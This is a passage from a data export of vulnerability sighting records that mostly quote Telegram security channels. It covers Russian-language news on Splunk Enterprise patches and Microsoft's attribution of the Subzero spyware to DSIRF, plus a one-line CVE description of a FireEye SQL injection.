\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\nCVE-2023-22934 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0435\u0449\u0435 \u043e\u0434\u043d\u0438\u043c \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u044b SPL \u0432 Splunk Enterprise \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442, \u0447\u0442\u043e\u0431\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043e\u0437\u0434\u0430\u043b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u0443\u0434\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u043d \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\nSplunk \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u0432\u0443\u0445 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVE-2023-22932 \u0438 CVE-2023-22933) \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 Splunk, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0442\u0430\u0431\u043b\u0438\u0446 \u043f\u043e\u0438\u0441\u043a\u0430 \u0441 \u043d\u0435\u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u043c\u0435\u043d \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (SSRF).\n\n\u0420\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 RSS-\u043a\u0430\u043d\u0430\u043b\u043e\u0432, \u0441\u0431\u043e\u044f\u043c \u0434\u0435\u043c\u043e\u043d\u0430 Splunk, \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c \u043a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u0439 SSG App Key Value Store \u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c \u043a \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c API, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u043a HTTP.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445 \u0432 Splunk Enterprise, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f CVE-2021-3518 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,8) \u0438 CVE-2021-3517 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,6) \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 XML-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 libxml2.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0438 \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c.\u00a0\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c, \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\nSplunk \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b CVE-2022-32212 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 8,1, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0432 Node.js), \u0430 \u0442\u0430\u043a\u0436\u0435 CVE-2022-24785 \u0438 CVE-2022-31129 (\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u043e\u043c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 Moment. js).\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 Splunk Enterprise, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 CVE-2021-28957 (XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435 python-lxml) \u0438 CVE-2021-3537 (\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f NULL \u0432 libxml2).\n\nSplunk Enterprise 8.1.13, 8.2.10 \u0438 9.0.4 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c\u00a0\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2023-02-16T11:40:08.000000Z"}, {"uuid": "bc865bf3-c707-437a-99e2-50b89fb42596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28969", "type": "seen", "source": "https://t.me/reconshell/681", "content": "CVE-2021-28969\n\neMPS 9.0.1.923211 on FireEye EX 3500 devices allows remote authenticated users to conduct SQL injection attacks via the sort_by parameter to the email search feature.\n\nhttps://cve.reconshell.com/cve/CVE-2021-28969", "creation_timestamp": "2021-04-23T10:12:08.000000Z"}, {"uuid": "9a7afd2c-9551-4ab1-a64a-821db8e5bee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/true_secator/3227", "content": "Microsoft \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 Knotweed \u0430\u0432\u0441\u0442\u0440\u0438\u0439\u0441\u043a\u043e\u043c\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f DSIRF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0435 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0431\u043e\u0440\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e Subzero.\n\nDSIRF \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u00a0\u0441\u0435\u0431\u044f\u00a0\u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f\u043c \u0443\u0441\u043b\u0443\u0433\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0418\u0411, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0435\u043d\u0438\u0441\u0442, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0443 \u0438 OSINT.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0440\u0435\u0441\u0435\u0447\u0440\u0435\u0440\u044b \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Subzero, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432, \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432, \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0434\u0435\u0432\u0430\u0439\u0441\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443.\n\n\u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f DNS \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Knotweed, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f RiskIQ \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2020 \u0433\u043e\u0434\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 DSIRF, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0435\u0433\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442 \u0438 \u0434\u043e\u043c\u0435\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Subzero.\n\nMMSTIC \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 DSIRF \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Knotweed.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u04212, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 DSIRF \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c GitHub, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0430\u0442\u0430\u043a, \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 DSIRF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 Knotweed \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0444\u0438\u0440\u043c\u044b, \u0431\u0430\u043d\u043a\u0438 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0441\u0430\u043b\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0410\u0432\u0441\u0442\u0440\u0438\u044e, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u044e \u0438 \u041f\u0430\u043d\u0430\u043c\u0443. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0436\u0435\u0440\u0442\u0432\u044b Subzero \u0443\u0441\u043b\u0443\u0433\u0438 \u0432 DSIRF \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0435 \u0437\u0430\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438.\n\n\u041d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0438 Corelump, \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u0443\u0445\u043e\u0434\u0430 \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0438 Jumplump, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b Corelump.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Subzero \u0438\u043c\u0435\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044e \u043d\u0430\u0436\u0430\u0442\u0438\u0439 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b, \u0437\u0430\u0445\u0432\u0430\u0442 \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u044d\u043a\u0440\u0430\u043d\u0430, \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441 \u04212.\n\n\u0412 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 Knotweed, \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b Microsoft \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0440\u044f\u0434\u0430 0-day.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, CVE-2022-22047 \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Knotweed \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows (CVE-2021-31199 \u0438 CVE-2021-31201) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c Adobe Reader (CVE-2021-28550), \u0432\u0441\u0435 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0438\u044e\u043d\u0435 2021.\n\n\u0412 2021 \u0433\u043e\u0434\u0443 \u0433\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0435\u043c\u043d\u0438\u043a\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Windows Update Medic (CVE-2021-36948), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 DLL.\n\nMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 